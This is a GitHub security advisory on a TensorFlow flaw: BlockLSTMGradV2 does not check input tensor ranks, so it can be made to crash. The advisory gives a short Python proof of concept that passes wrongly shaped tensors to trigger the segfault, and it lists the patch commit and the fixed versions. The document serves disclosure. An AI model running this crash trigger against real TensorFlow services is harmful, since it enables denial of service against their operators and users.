Vulnerability from github
Impact
The implementation of BlockLSTMGradV2 does not fully validate its inputs.
- wci, wcf, wco, b must be rank 1
- w, cs_prev,h_prevmust be rank 2
-x` must be rank 3
This results in a a segfault that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
use_peephole = False seq_len_max = tf.constant(1, shape=[], dtype=tf.int64) x = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) cs_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) h_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) w = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) wci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) wcf = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) wco = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) b = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) i = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) cs = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) f = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) o = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) ci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) co = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) h = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) cs_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) h_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) tf.raw_ops.BlockLSTMGradV2(seq_len_max=seq_len_max, x=x, cs_prev=cs_prev, h_prev=h_prev, w=w, wci=wci, wcf=wcf, wco=wco, b=b, i=i, cs=cs, f=f, o=o, ci=ci, co=co, h=h, cs_grad=cs_grad, h_grad=h_grad, use_peephole=use_peephole) ```
Patches
We have patched the issue in GitHub commit 2a458fc4866505be27c62f81474ecb2b870498fa.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
